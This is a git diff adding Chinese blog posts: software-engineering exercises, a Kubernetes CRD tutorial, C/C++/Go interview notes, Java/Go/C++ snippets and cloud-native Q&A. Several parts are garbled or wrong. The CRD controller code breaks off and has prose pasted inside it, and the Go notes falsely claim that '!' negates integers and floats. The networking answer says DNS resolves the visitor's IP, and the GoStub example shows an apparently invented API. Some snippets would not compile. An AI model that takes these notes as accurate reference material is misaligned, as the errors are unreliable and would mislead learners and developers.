QualityControlSystem : Send upgrade package +QualityControlSystem -> UpgradeSubsystem : Verify upgrade package +UpgradeSubsystem -> QualityControlSystem : Respond verified +QualityControlSystem -> TestSubsystem : Send upgrade package +TestSubsystem -> QualityControlSystem : Test upgrade package +QualityControlSystem -> TestSubsystem : Respond passed/failed test +TestSubsystem -> UpgradeSubsystem : Report test result + +== Multiple Teams Project Activity == + +QualityControlSystem -> MultipleTeamsProject : Request testing +MultipleTeamsProject -> QualityControlSystem : Respond availability +QualityControlSystem -> MultipleTeamsProject : Send test package +MultipleTeamsProject -> QualityControlSystem : Test system +QualityControlSystem -> MultipleTeamsProject : Collect test results +MultipleTeamsProject -> QualityControlSystem : Return test package and results +QualityControlSystem -> Developer : Send package for fixing issues +@enduml + +``` + + +## Part14-项目管理 + +1.在图14-1 中,我们用状态图对项目的阶段建模。通过把每个阶段看成 一个不同的类来使用状态图。用这一章介绍的项目管理活动来设置这些类的公开操作。我们假定 这是 一个基于团队的项目组织。 + + +2.周 定 人 员 相 对 于渐 进 人 员 而 言 , 优 点 是 什 么 ? + +3.在会议中报告状态和作出决定有什么区别? + +报告状态意味着向相关人员或团队提供当前项目的进展情况,其中可能包括已完成的工作、正在进行的工作、迄今为止所花费的时间和资源以及项目的风险和障碍。报告状态通常是一个信息分享的过程,目的是确保各方都了解项目的当前状态,并且能够对项目的预期进展有一个清晰的认识。这样可以帮助所有相关人员协调行动,增强透明度和沟通效率。 + +另一方面,做出决策涉及到从多种选择中选出最佳的方案或路径,以实现既定的目标。在一个会议上做出决策通常需要收集和评估各种选项,对其进行分析和比较,并考虑预期结果和潜在风险。最终,该会议将制定一个计划或行动方案,以实现既定的目标。 + +4.为什么要将软件架构师和项目领导的角色分配给不同的人? + + +5.为ARENA 项目中的每个主要阶段 (例如概念、定义、开始、稳定状态、终止),画 出因队组织的 UML 模型。 + +6.描述的MyTrip 系统的系统设计任务模型。 + +7.估算完成练习14-6 中每个任务模型的时间并决定关键路径。 + +8.对在第6 章中描述的MyTrip 系统的5个最高风险进行标识、设置优先级和计划。 + +9.对第12章中描述的CTC 子系统的用户界面的5个最高风险进行标识、设置优先级 和计划。 + +10.用松散型模型开发的Linux 比很多在Intel PC 上运行的操作系统更可靠和响应更快。 举例说明为什么松散型模型可以被或不可以被用于航天 飞机控制软件开发上。 + +11.把项目开发者组织成四人团队。每个团队有以 下资源:2 个蛋,一卷TES A 胶卷,1 卷卫生纸,1 个有水的杯子,1 个装有2 升沙的桶,20 个泡沫球 每个的直径大约 是1厘米,!张大约1米高的桌子。每个团队有25分钟去建造和测试 一个物品, 使鸡蛋能在高于桌子75 厘米的地方摔到桌子上而不被打碎。每个团队另外有5 分 钟时间,以向项日管理者演示这个作品。 + +12.把 项 目 开 发 者 组 织 成 四 人 团 队 。 每 个 团 队 有 以 下资 源 : 2 桶 D U P L O 纸 , 2 张 相 距 1.5米的桌子。每个团队有25分钟去建造和测试 一座只用DUPLO纸做成的桥,这 座桥能在两张桌子之间架设至少1 分钟。每个团队另外有5 分钟时间,以向项目管 理者演示他们的作品。 + +13.定义练习14-11中描述的破冰船项目的所有管理模型。 + +14.写出练习 14-12 中描述的破冰船项目的SPMP。 + +15.在 灭 火 表 中 的 平 底 框 架 是 何 意 ( 例 如 在 图 1 4 - 1 5 中 的 3 天 和 6 天 之 间 的 平 底 框 架 ) + + +## Part-15 + +1.将建模作为图15-2 中活动和图15-4 工作产品的分类,并画出一个UML 类图表示活动 和 工作产品之间 的 关 系 。 + +2.假设在活动生命周期建模期间,图 15-8 所示的瀑布模型已经从图 15- 7 中的 IEEE 标 准模型中导出。在此瀑布模型中,所忽略的过程和活动是什么? + +3.将图15- 10 中的Boehm 螺旋模型重画为一个UML 活动图。将活动图的可读性与原 图的可读性进行对比。 + +4.画出一个UML活动图以描述在生命周期中的需求、设计、实现、测试和维护同时发 生时的活动之间的依赖。 (这一生命周期称为进化生命周期。) + +5.在 实 现 活 动 之 前, 描 述 测 试 活 动 怎 样 更 好 地 启 动 。 + +6.在项目管理中,两个任务之间的关系通常被解释成 一种前序关系;即一个任务必须 +在 另 一 个 任 务 启 动 时 完 成 。 在 软 件 生 命 周 期 中 , 两 个 活 动 之 间 的 关 系是 有 依 赖 关 系 的:即一个活动使用另一个活动产生的工作产品作为输入。讨论这之间的不同。在 V - 模 型 的 情 况 下 举 一个 例 子 。 + + +7.假设是IEEE委员会的委员,要修订IEEE1074标准。被分到的任务是将沟通建 模成一个明确的整体过程。试制作一个属于这个过程的活动例子。 + + +## Part-16 + + +1.软件生命周期和方法学有什么区别? + +2.改进一个遗留系统,需要为项目定义软件生命周期,需要做哪些活动,按照什么顺序来做? + +3.Ro yce 使用一种管理标准来计算离开项目或加入项目参与者的数目。如果正在管 理一个包含多个 工作团队的项目,并且注意到组内人员交流 十分频繁。试想哪些 原因可以导致这种状况,并对每种原因给出解决方案。 + +4.在 16. 5. 4 中描述的启发式方法指出,在分布式组织中对模型的需要更高。 开源项目 是一种高分布式项目,它遵循基于实体的生命周期,并且通常没有需求或系统设计 文档。请举例说明在这种情况下,如何使建模知识明确化,并在参与者之间传递 + +5.在 为 某 一 具 体 项 目 修 改 一 个 过 程 时 (第 1 6 . 4 . 1 节 ), R o y c e 的 方 法 论 考 惠 六 个 项 目 因 素 (规模、风险承担者的凝聚力、过程的灵活性、过程的成熟度、体系结构风险和 领域经验)。利用这些因素来描述那些类型的项目能够把叉P 作为合适的方法学来使 用 。并证明对 每种因素的选择的正确性 。 + +6.1928 年,在Alexander Fleming 先生致力于葡萄状球菌的研究时,不小心将一些面包 屑掉到了其中一 个盘子中。一 个多星期后,发现那个有面包屑的盘子中的细菌并没 有按照预期的速度增长。Fleming注意到了在霉的周围有 一个无菌环,它正是污染葡 萄 状 球 菌 的 培 养 物 。 于 是 他 放 弃 了 计 划 中 的 实 验 , 开 始 了一 个 新 的 实 验 , 他 把 霉 隔 离了出来, 让它在一种液体媒介中生长,从而发现了一种特殊物质,即使这种物质 被稀释800 倍,它也能阻止细菌的生长。这就是青霉素。利用本章中介绍的术语和 问题,讨论青壽素的发现。 + +7.基于地球是圆形的假设,Columbus 的目标是通过从西出发,而不是从东出发,找到 一条去印度的更短的路。而他最后遇到是美国而不是印度。 利用本章中介绍的术语 和问题, 讨论这个问题。 + +8.选择一个曾参加的项目。按照本章定义的方法学问题进行归类,并说明项目中出 现的方法学的折中问题。 + diff --git a/_posts/2023-6-1-test-markdown.md b/_posts/2023-6-1-test-markdown.md new file mode 100644 index 000000000000..4ada1e61707f --- /dev/null +++ b/_posts/2023-6-1-test-markdown.md @@ -0,0 +1,169 @@ +--- +layout: post +title: 如何从零开始编写一个Kubernetes CRD +subtitle: +tags: [Kubernetes] +comments: true +--- + +Kubernetes的自定义资源定义(Custom Resource Definition,CRD)是一种扩展Kubernetes API的机制,允许在不改变代码的情况下管理自定义对象。CRD是Kubernetes v1.7+引入的,用于替代在v1.8中被移除的ThirdPartyResources (TPR)。 + +在使用CRD扩展Kubernetes API时,通常需要一个控制器来处理新资源的创建和进一步处理。Kubernetes官方的sample-controller项目提供了一个实现CRD控制器的例子,包括注册新的自定义资源类型(Foo),创建/获取/列出新类型的资源,以及处理创建/更新/删除事件。 + +在编写CRD控制器之前,建议使用Kubernetes提供的代码生成工具来生成必要的客户端,通知器,列表器和深度复制函数。这个过程可以通过官方项目提供的代码生成脚本来简化。代码生成工具只需要一个shell脚本调用和一些代码注释,就可以生成必要的代码,减少错误和工作量 + +以下是一个简单的Go代码示例,用于创建一个CRD: +```go +package main + +import ( + apiextensionsv1beta1 "k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1" + apiextensionsclient "k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" +) + +func main() { + // 创建一个API扩展客户端 + clientset, err := apiextensionsclient.NewForConfig(config) + if err != nil { + panic(err.Error()) + } + + // 定义一个新的CRD对象 + crd := &apiextensionsv1beta1.CustomResourceDefinition{ + ObjectMeta: metav1.ObjectMeta{Name: "foos.samplecontroller.k8s.io"}, + Spec: apiextensionsv1beta1.CustomResourceDefinitionSpec{ + Group: "samplecontroller.k8s.io", + Version: "v1alpha1", + Names: apiextensionsv1beta1.CustomResourceDefinitionNames{ + Plural: "foos", + Singular: "foo", + Kind: "Foo", + ShortNames: []string{"foo"}, + }, + Scope: apiextensionsv1beta1.NamespaceScoped, + }, + } + + // 使用API扩展客户端创建CRD + _, err = clientset.ApiextensionsV1beta1().CustomResourceDefinitions().Create(crd) + if err != nil { + panic(err.Error()) + } +} + +``` + +这段代码首先创建了一个API扩展客户端,然后定义了一个新的CRD对象,最后使用API扩展客户端创建了这个CRD。这个CRD定义了一个名为"Foo"的新资源类型,属于"samplecontroller.k8s.io"这个API组,版本为"v1alpha1",在命名空间范围内有效。 + + +在Kubernetes中,CRD(CustomResourceDefinition)本身只是一个数据模式,而CRD控制器负责实现所需的功能。控制器会监听CRD实例(以及关联的资源)的CRUD事件,然后执行相应的业务逻辑。 + +```yaml +apiVersion: apiextensions.k8s.io/v1beta1 + kind: CustomResourceDefinition + metadata: + # name must match the spec fields below, and be in the form: . + name: crontabs.stable.example.com + spec: + # group name to use for REST API: /apis// + group: stable.example.com + # list of versions supported by this CustomResourceDefinition + version: v1beta1 + # either Namespaced or Cluster + scope: Namespaced + names: + # plural name to be used in the URL: /apis/// + plural: crontabs + # singular name to be used as an alias on the CLI and for display + singular: crontab + # kind is normally the CamelCased singular type. Your resource manifests use this. + kind: CronTab + # shortNames allow shorter string to match your resource on the CLI + shortNames: + - ct +``` +通过kubectl create -f crd.yaml可以创建一个CRD。 + +下面是一个简单的Go代码示例,用于创建一个CRD的控制器 +```go +package main + +import ( + "fmt" + "time" + + "k8s.io/apimachinery/pkg/fields" + "k8s.io/client-go/tools/cache" + "k8s.io/client-go/util/workqueue" + "k8s.io/client-go/kubernetes" + "k8s.io/client-go/tools/clientcmd" + "k8s.io/api/core/v1" +) + +type Controller struct { + indexer cache.Indexer + queue workqueue.RateLimitingInterface + informer cache.Controller +} + +func NewController(queue workqueue.RateLimitingInterface, indexer cache.Indexer, informer cache.Controller) *Controller { + return &Controller{ + informer: informer, + indexer: indexer, + queue: queue, + } +} + +func (c *Controller) processNextItem() bool { + // Wait until there is a new item in the working queue + key, quit := c.queue.Get() + if quit { + return false + } + // Tell the queue that we are done with processing this key. This unblocks the key for other workers + // This allows safe parallel processing because two CRDs with the same key are never processed in + // parallel. + defer c.queue.Done(key) + + // Invoke the method containing the business logic + err := c.syncToStdout(key.(string)) + // Handle the error if something went wrong during the execution of the business logic + c.handleErr(err, key) + return true +} + +func (c *Controller) syncToStdout(key string) error { + obj, exists, err := c.indexer.GetByKey(key) + if err != nil { + fmt.Errorf("Fetching object with key %s from store failed with %v", key, err) + return err + } + + if !exists { + // Below we will warm up our cache with a CronTab, so that we will see a delete for one CronTab + fmt.Printf("CronTab %s does not exist anymore\n", key) + } else { + // Note that you also have to check the uid if you have a local controlled resource, which + // is dependent on the actual instance, to detect that a CronTab was recreated with the same name + fmt.Printf("Sync/Add/Update for CronTab %s\n", obj.(*v1.Pod).GetName()) + } + return nil +} + +func (c *Controller) handleErr(err error, key interface{}) { + if err == nil { + // Forget about the #AddRateLimited history of the key on every successful synchronization. + // This ensures that future processing of updates for this key is not delayed because of + // an outdated error history. + c.queue.Forget(key) + return + } + + // This controller retries 5 times if something goes wrong. After that, it stops trying. + if c.queue.NumRequeues(key) < 5 { + fmt.Errorf("Error syncing CronTab %v: %v", key, err) + + // Re-enqueue the key rate limited. Based on the rate limiter在Kubernetes中,CRD(CustomResourceDefinition)本身只是一个数据模式,而CRD控制器负责实现所需的功能[[2](https://www.sobyte.net/post/2022-03/k8s-crd-controller/)]。控制器会监听CRD实例(以及关联的资源)的CRUD事件,然后执行相应的业务逻辑。 + +``` \ No newline at end of file diff --git a/_posts/2023-7-20-test-markdown.md b/_posts/2023-7-20-test-markdown.md new file mode 100644 index 000000000000..23024459b9fd --- /dev/null +++ b/_posts/2023-7-20-test-markdown.md @@ -0,0 +1,117 @@ +--- +layout: post +title: C/C++ +subtitle: +tags: [C++] +comments: true +--- + + +1-“声明一个指向含有10个元素的数组的指针,其中每个元素是一个函数指针,该函数的返回值是int,参数是int*” + +首先,我们需要声明一个含有10个元素的数组,但我们知道这些元素都是函数指针,所以我们需要先知道如何声明一个函数指针。假设我们有这样的一个函数: + +```c +int func(int *ptr); +``` + +对应的函数指针类型声明如下: + +```c +int (*funcPtr)(int*); +``` + +在这个声明中,`funcPtr`是一个函数指针,该函数的返回类型为`int`,并且接受一个`int*`类型的参数。 + +接下来,我们要创建一个这样的函数指针的数组。数组的声明方式如下: + +```c +int (*funcPtrArray[10])(int*); +``` + +在这个声明中,`funcPtrArray`是一个含有10个元素的数组,每个元素都是一个函数指针。 + +最后,我们需要创建一个指向这个数组的指针。声明方式如下: + +```c +int (*(*ptrToArray)[10])(int*); +``` + +在这个声明中,`ptrToArray`是一个指针,它指向一个包含10个元素的数组,这个数组的每个元素都是一个函数指针。 + + +在C语言中,要声明一个数组,我们通常会指定数组的类型,然后在变量名后面加上方括号 `[]` 和一个数值来表示数组的长度。比如我们可以声明一个长度为10的整数数组如下: + +```c +int arr[10]; +``` + +在这里,`arr` 是一个长度为10的整数数组。 + +如果我们要声明一个函数指针数组,我们同样会在函数指针的名称后面加上方括号 `[]` 和一个数值来表示数组的长度。 + +例如,如果我们有一个函数指针类型: + +```c +int (*funcPtr)(int*); +``` + +我们可以通过在 `funcPtr` 后面加上方括号 `[]` 和一个数值来声明一个函数指针数组。如下所示: + +```c +int (*funcPtrArray[10])(int*); +``` + +在这里,`funcPtrArray` 是一个长度为10的函数指针数组。每个数组元素都是一个指向函数的指针,这个函数的返回. + + +2.一台刚刚接入互联网的WEB服务器第一次被访问到时,不同协议的发生顺序是ARP -> DNS -> HTTP。 + +ARP(地址解析协议) +首先服务器需要通过ARP请求来获取自己与网关的IP与MAC地址对应关系。因为服务器刚连接到互联网,还没有这些对应关系。 +DNS(域名解析) +访问者向WEB服务器发起请求时,使用的是域名而非IP地址。所以服务器需要通过DNS解析域名,获取到访问者的IP地址。 +HTTP(超文本传输协议) +一旦服务器获取到访问者的IP地址,双方就可以建立HTTP请求-响应通信。服务器返回HTTP响应,包含网页内容。 + + +```c++ +int main(void) +{ + const int a = 10; + int * p = (int *)(&a); + *p = 20; + cout<<"a = "< 虽然Select 后面有 case 但是不是判断条件,而是一个IO操作。 + +```go + + // 使用 select 语句监听多个通道,等待响应结果 + for i := 0; i < len(urls); i++ { + select { + case result := <-respChan: + fmt.Println(result) + case <-time.After(time.Second * 6): + fmt.Println("Timeout") + return + } + } +``` + +3-GoVender + +无法精确的引用外部包进行版本控制,不能指定引用某个特定版本的外部包;只是在开发时,将其拷贝过来,但是一旦外部包升级,vendor下的代码不会跟着升级, + +而且vendor下面并没有元文件记录引用包的版本信息,这个引用外部包升级产生很大的问题,无法评估升级带来的风险; + + +4-类型转化 +```go +type MyInt int +var i int= 1 +var j MyInt =i + +(错误) +``` + +```go +type MyInt int +var i int= 1 +var j MyInt = MyInt(i) + +(正确) +``` + + +5-取返 +```text +在 Go 语言中,取反操作使用 ! 运算符。! 运算符用于对布尔型表达式取反,其结果是一个布尔型值。 + +例如,假设有一个布尔型变量 b,可以使用 !b 表达式对其取反。如果 b 的值为 true,则 !b 的值为 false;如果 b 的值为 false,则 !b 的值为 true。 + +除了布尔型表达式外,! 运算符还可以用于整型和浮点型数据的取反。在这种情况下,! 运算符会将整型和浮点型数据转换为布尔型数据,然后对其取反。如果整型或浮点型数据为 0,则取反结果为 true;否则为 false。 + +``` + + +6-const + +```go +const a float64 = 3.142142 +const zero = 0.0 +「正确」 +``` + +```go +const ( + size int64 =1024 + eof = -1 +) +「正确」 +``` + +```go +const ( + ERR_ELEM_EXIST error = errors.New("exist") + ERR_ELEM_NOT_EXIST error = errors.New("not exist") +) +「错误」 +``` + +> go语言常量要是编译时就能确定的数据,C选项中errors.New("xxx") 要等到运行时才能确定,所以它不满足 + + + + +7-赋值 +```go +var x = nil--------错误 +var x interface{} = nil -------正确 +var x string = nil --------错误 +var x error = nil-------正确 +``` + + +> nil只能赋值给channel,slice,map,指针,func和interface,即五大引用类型和指针 + + +8-Channel + + +```text +var ch chan int ----声明正确 +ch := make(chan int)----声明正确 +<- ch ----可以单独写,可以单独调用获取通道的(下一个)值,当前值会被丢弃,但是可以用来验证 + +ch <- 不可以单独写,往 ch中放值,应该在箭头的末端有对应的值。 +``` + + +9-this 指针 + +>「方法施加的对象显式传递,没有被隐藏起来」在 Go 语言中,方法不依赖于隐式的 this 指针,而是将方法的接收者(Receiver)作为一个显式参数传递。在函数体内,可以通过接收者来访问相应的对象。例如,假设有一个结构体类型 Person,其中包含一个名为 name 的字段,以及一个名为 SayHello 的方法: + +```go +type Person struct { + name string +} + +func (p Person) SayHello() { + fmt.Printf("Hello, my name is %s\n", p.name) +} + +``` + + + +10-可以给任意类型添加相应的方法「错误」 + +> 内置类型是可以定义,但指针类型是不能被定义的. + + + +11-json.Marshal +```go +package main + +import ( + "encoding/json" + "log" +) + +type S struct { + A int + B *int + C float64 + d func() string + e chan struct{} +} + +func main() { + s := S{ + A: 1, + B: nil, + C: 12.15, + d: func() string { + return "NowCoder" + }, + e: make(chan struct{}), + } + + _, err := json.Marshal(s) + if err != nil { + log.Printf("err occurred..") + return + } + log.Printf("everything is ok.") + return +} + +``` +> 尽管标准库在遇到管道/函数等无法被序列化的内容时会发生错误,但因为本题中 d 和 e 均为小写未导出变量,因此不会发生序列化错误 + + +12-关于main函数(可执行程序的执行起点),下面说法正确的是() +main函数不能带参数「正确」 +main函数不能定义返回值「正确」 +main函数所在的包必须为main包「正确」 + + +13-自增 +> 正确 +```go +i:=1 +i++ +``` + +> 错误 +```go +i:=1 +j=i++ +``` + +>错误 +```go +i:=1 +++i +``` + +>正确 +```go +i:=1 +i-- +``` + +14-Beego +```text +beego并不是轻量级。beego提供了许多路由注册的方式。 bee工具可以帮助开发者使用beego,创建和运行beego项目等。 beego有自带的orm,简化开发者的数据库操作。 +``` + +15-错误设计 + +```text +如果失败原因只有一个,则返回bool +如果失败原因超过一个,则返回error +如果没有失败原因,则不返回bool或error +如果重试几次可以避免失败,则不要立即返回bool或error +``` + + +16-Append +> 正确 +```text +var s []int +a= append(s,1) +``` + +> 正确 +```text +var s []int =[]int{} +a= append(s,1) +``` + + +17-关于GoStub,下面说法正确的是 +```text +A「正确」 +GoStub可以对全局变量打桩 +B「正确」 +GoStub可以对函数打桩 +C「错误」 +GoStub可以对类的成员方法打桩 +D「正确」 +GoStub可以打动态桩,比如对一个函数打桩后,多次调用该函数会有不同的行为 +``` + +> 选项错误,GoStub 不支持对类的成员方法进行打桩。在 Go 语言中,没有类的概念,而是使用结构体(Struct)来实现面向对象编程。因此,GoStub 只能对结构体中的方法进行打桩,不能对类的成员方法进行打桩。 + +> GoStub 是一个 Go 语言的测试框架,用于在单元测试中对函数进行打桩(Stub)。打桩是一种模拟测试技术,在测试时可以用虚拟的函数代替真实的函数,从而控制函数的行为和输出结果,以便更好地测试代码的正确性。 +> GoStub 可以对全局变量进行打桩。在测试中,可以用虚拟的全局变量代替真实的全局变量,从而控制全局变量的值和输出结果。 +> GoStub 可以对函数进行打桩。在测试中,可以用虚拟的函数代替真实的函数,从而控制函数的行为和输出结果。 + +```go +func DoSomething() int { + // ... +} + +func TestSomething(t *testing.T) { + // 第一调用返回1 + stub.When(DoSomething).Return(1).Once() + + assert.Equal(t, 1, DoSomething()) + + // 第二次调用返回2 + stub.When(DoSomething).Return(2).Once() + + assert.Equal(t, 2, DoSomething()) + + // 后续调用全部返回0 + stub.When(DoSomething).Return(0).Do() +} +``` + +18-字符串 + + +> GO语言中字符串是不可变的,所以不能对字符串中某个字符单独赋值。 + +```go +s:="Hello" +s[0]="x" +fmt.Println(s) +// "Hello" +``` + +19-布尔类型赋值 + + +> 错误。第一行,b没有指定类型,不能直接赋值整型1。第二行,Go没有bool()函数 +```go +b = 1 +b = bool(1) +``` + + +20-Cap的适用范围 + +```text +arry:返回数组的元素个数 slice:返回slice的最大容量 channel:返回channel的buffer容量 +``` + + +21-切片的初始化 + +> 正确 +```go +s := make([]int, 0) +s := make([]int, 5, 10) +s := []int{1, 2, 3, 4, 5} +``` + +> 错误 +```go +s := make([]int) +``` + +22-GoMock +> 正确 +```go +GoMock可以对interface打桩 +GoMock打桩后的依赖注入可以通过GoStub完成 +``` + +>错误 +```go +GoMock可以对类的成员函数打桩 +GoMock可以对函数打桩 +``` + + + + +```text + + +https://leetcode-cn.com/contest/weekly-contest-232/problems/maximum-average-pass-ratio/ +https://segmentfault.com/a/1190000016611415 +https://juejin.cn/post/6844903635046924296 +https://blog.csdn.net/a745233700/article/details/88088669 +https://juejin.cn/post/6844903653195644936 +https://segmentfault.com/a/1190000021199728 +https://imageslr.com/2020/02/27/select-poll-epoll.html +https://draveness.me/whys-the-design-tcp-time-wait/ +https://draveness.me/whys-the-design-https-latency/ +https://www.zhihu.com/question/29270034/answer/46446911 +https://juejin.cn/post/6844904097733165069 +https://zhuanlan.zhihu.com/p/25600743 +https://juejin.cn/post/6844903895227957262 +https://www.jianshu.com/p/4491cba335d1 +https://juejin.cn/post/6844903848587296781#heading-8 +https://mp.weixin.qq.com/s/x5F6AjkWgeSP2Jd5iDyvOg +https://www.zhihu.com/question/65502802 +http://www.tastones.com/stackoverflow/bosun/getting-started-with-bosun/ +https://www.zhihu.com/question/21923021 +https://www.runoob.com/w3cnote/quick-sort.html +https://juejin.cn/post/6844903648670007310 +https://github.com/wolverinn/Waking-Up +https://www.programiz.com/dsa +https://github.com/CyC2018/cs-notes +https://willshang.github.io/go-leetcode/docs/source/go/1-go%E8%AF%AD%E8%A8%80acm%E5%88%B7%E9%A2%98%E8%BE%93%E5%85%A5%E9%97%AE%E9%A2%98.html +https://juejin.cn/post/6886321367604527112 +https://juejin.cn/post/6968311281220583454 +https://developer.aliyun.com/article/777750 +https://blog.51cto.com/u_14813744/2718736 +http://c.biancheng.net/view/3453.html +https://juejin.cn/post/6858619792157638670 +https://www.qtmuniao.com/2021/12/07/cuckoo-hash-and-cuckoo-filter/ +https://golang.design/go-questions/channel/close/ +https://zhuanlan.zhihu.com/p/66768463 +https://segmentfault.com/a/1190000038973775 +https://github.com/xingshaocheng/architect-awesome/blob/master/README.md#%E5%A0%86%E6%8E%92%E5%BA%8F +https://pdai.tech/ +``` \ No newline at end of file diff --git a/_posts/2023-8-30-test-markdown.md b/_posts/2023-8-30-test-markdown.md new file mode 100644 index 000000000000..e17feb358eaf --- /dev/null +++ b/_posts/2023-8-30-test-markdown.md @@ -0,0 +1,320 @@ +--- +layout: post +title: Java/Go/C++ +subtitle: +tags: [Java] +comments: true +--- + + +### Slice + +```java +public class Main { + public static void main(String[] args) { + List slice = new ArrayList<>(); + slice.add(1); + slice.add(2); + slice.add(3); + slice.add(4); + slice.add(5); + slice = slice.subList(2, 4); + slice.addAll(List.of(1, 2, 3)); + System.out.println(slice); + } +} + +``` + + +```go +package main + +import "fmt" + +func main() { + slice := []int{} + slice = append(slice, 1) + slice = append(slice, 2) + slice = append(slice, 3) + slice = append(slice, 4) + slice = append(slice, 5) + slice = slice[2:4] + slice = append(slice[:len(slice)-1], []int{1, 2, 3}...) + fmt.Println(slice) +} + +``` + +```c++ +#include +#include +#include + +int main() { + std::vector slice; + slice.push_back(1); + slice.push_back(2); + slice.push_back(3); + slice.push_back(4); + slice.push_back(5); + + std::vector::iterator it1 = slice.begin(); + std::advance(it1, 2); + slice.erase(it1, slice.end()); + + std::vector append_values; + append_values.push_back(1); + append_values.push_back(2); + append_values.push_back(3); + + slice.insert(slice.end(), append_values.begin(), append_values.end()); + + for (std::vector::iterator it = slice.begin(); it != slice.end(); it++) { + std::cout << *it << ' '; + } + std::cout << std::endl; + return 0; +} +``` + +### Map + +```java +import java.util.Map; +import java.util.HashMap; + +public class Main { + public static void main(String[] args) { + Map hashMap = new HashMap<>(); + hashMap.put(1, "one"); + hashMap.put(2, "two"); + hashMap.put(3, "three"); + + System.out.println(hashMap.get(1)); // 输出 one + + hashMap.remove(3); + + for (Map.Entry entry : hashMap.entrySet()) { + int key = entry.getKey(); + String value = entry.getValue(); + System.out.println(key + " : " + value); + } + } +} +``` + +```go +package main + +import "fmt" + +func main() { + hashMap := make(map[int]string) + + hashMap[1] = "one" + hashMap[2] = "two" + hashMap[3] = "three" + + fmt.Println(hashMap[1]) // 输出 one + + delete(hashMap, 3) + + for key, value := range hashMap { + fmt.Printf("%d : %s\n", key, value) + } +} +``` + + +```c++ +#include +#include +#include + +using namespace std; + +using HashMap = unordered_map; + +int main() { + HashMap hashMap; + hashMap[1] = "one"; + hashMap[2] = "two"; + hashMap[3] = "three"; + cout << hashMap[1] << endl; + hashMap.erase(3); + return 0; +} +``` + + + +### 接口 + +```java +List list = new ArrayList(); +``` + +> List 接口是 Java 集合框架中的一部分,它定义了一个有序的集合,其中的元素可以重复。List 接口中定义了一些常用的方法,例如 add、get、remove 等等。而 ArrayList 类则是 List 接口的一个具体实现,它使用数组来实现列表,可以动态扩展和收缩,可以在列表的任意位置随机访问元素,是 Java 中最常用的列表实现类之一。 + + + +```java +Map map = new HashMap(); +``` + +> 使用了 HashMap 来创建一个 Map 对象。这里的 HashMap 是一个具体的实现类,实现了 Map 接口,可以用来创建 Map 对象。需要注意的是,HashMap 是一种基于哈希表的实现类,可以快速地查找键对应的值,是最常用的 Map 实现类之一。 + + + +### Java的Byte[] 和Go的[]byte + +```java +byte[] bytes = {72, 101, 108, 108, 111, 33}; +String str = new String(bytes); +System.out.println(str); // 输出 Hello! +``` +或者 +```java +public class Main { + public static void main(String[] args) { + byte[] bytes = {'H', 'e', 'l', 'l', 'o', '!'}; + String str = new String(bytes); + System.out.println(str); // 输出 Hello! + } +} +``` + +```go +s:=[]byte{'h','e','l','l','o'} +fmt.Println(String(s)) +``` + + +### Static/Const + +static 可以用来声明一个静态变量,也可以用来声明一个静态函数。 + +静态变量(`static`)和常量(`const`)在 C++ 中具有不同的含义和使用场景。 + +1-`static` 关键字: +- **在全局变量和函数中**:`static` 使全局变量和函数的范围局限于定义它们的文件。换句话说,一个在文件 A 中定义的`static` 变量或函数不能在文件 B 中被访问。 +- **在局部变量中**:`static` 使局部变量的生命周期在程序运行期间持续存在,而不是在其所在的函数或代码块结束时消亡。也就是说,它们的值会在多次函数调用中保持不变。 +- **在类中**:`static` 使类的成员不再依赖于特定的类的实例。这意味着 `static` 成员只存在一份,被所有的类实例共享。 + +2. `const` 关键字: +- **变量**:`const` 使得变量的值在声明后不可修改。尝试修改 `const` 变量的值会导致编译错误。 +- **函数**:在函数声明中,`const` 关键字表示该函数不会修改它的对象的状态。这对于理解对象的状态在何时被修改很重要。 + +没有 `static` 或 `const` 声明的变量和函数有默认的可见性和生命周期(在定义它们的范围内),并且它们的值可以随时被修改。 + + +```c++ +class A { + int num; +}; + +void f(A obj) { // 普通函数,可以修改 obj + obj.num = 10; +} + +void f(const A obj) { // 常量函数,不会修改 obj + obj.num = 10; // 编译错误! obj 是 const 的 +} +``` + +```c++ +const int num = 10; // num 是一个常量,不能修改 +num = 20; // 编译错误! +``` + +```text +char *const p = "ABCD"; +这里,*const 表明p是一个const(常量)指针。 +*p = 'X'; // 修改第一个字符为'X' +p[1] = 'Y'; // 修改第二个字符为'Y' +可以修改p指向的内容 +但是不能: +p = "1234"; // 错误!不能修改const指针本身 +``` + +> 简言之,可以修改现在有两个内存块A B ,p指向A,如果是 char * const p ,那么意味可以把A内存块的内容改为C,但是不能让p指向新的内存块B + + +> 相反的const int* p 可以让p指向新的内存块B,但是不能更改p指向的内存块的内容。 + +> 在函数调用过程:值会从上一次结束时的值开始 +```c++ +#include + +void func() { + static int count = 0; + count++; + printf("Count: %d\n", count); +} + +int main() { + func(); + func(); + func(); + return 0; +} +输出: +Count: 1 +Count: 2 +Count: 3 +``` + + +> 在模块内(但在函数体外),**静态的变量**可以被模块内所用函数访问,但不能被模块外其它函数访问。它是一个本地的全局变量。 + +```c++ +#include + +void func1(); +void func2(); + +static int count = 0; + +int main() { + func1(); + func2(); + func1(); + return 0; +} + +void func1() { + count++; + printf("Count in func1: %d\n", count); +} + +void func2() { + count += 2; + printf("Count in func2: %d\n", count); +} +``` + + +> 在模块内,一个被声明为静态的函数只可被这一模块内的其它函数调用。那就是,这个函数被限制在声明它的模块的本地范围内使用。 +```c++ +#include + +static void func1(); +static void func2(); + +int main() { + func1(); + func2(); + return 0; +} + +static void func1() { + printf("This is func1\n"); +} + +static void func2() { + printf("This is func2\n"); +} +``` + + diff --git a/_posts/2023-9-1-test-markdown.md b/_posts/2023-9-1-test-markdown.md new file mode 100644 index 000000000000..ae0bd179de72 --- /dev/null +++ b/_posts/2023-9-1-test-markdown.md @@ -0,0 +1,333 @@ +--- +layout: post +title: 云原生 +subtitle: +tags: [云原生] +comments: true +--- + +# 云原生 + +1-什么是云原生架构,以及它的主要优点和挑战是什么? + - 答案:云原生架构是一种构建和运行应用的方法,它利用了云计算的优势。这种架构的主要优点包括弹性、可扩展性、敏捷性和持续交付。然而,也存在挑战,如管理复杂性、数据安全性和合规性等。 + +> 通过容器技术进行封装和部署,用自动化的方式,比如:如Kubernetes和Docker Swarm(自动管理和调度容器实例,并提供伸缩、负载均衡、服务发现等功能。)进行管理和扩展,自动化工具可用于管理和扩展应用程序的各个组件 +> 容器编排工具:如Kubernetes和Docker Swarm等,用于自动管理和调度容器实例,并提供伸缩、负载均衡、服务发现等功能。 +> 自动化部署工具:如Jenkins、GitLab 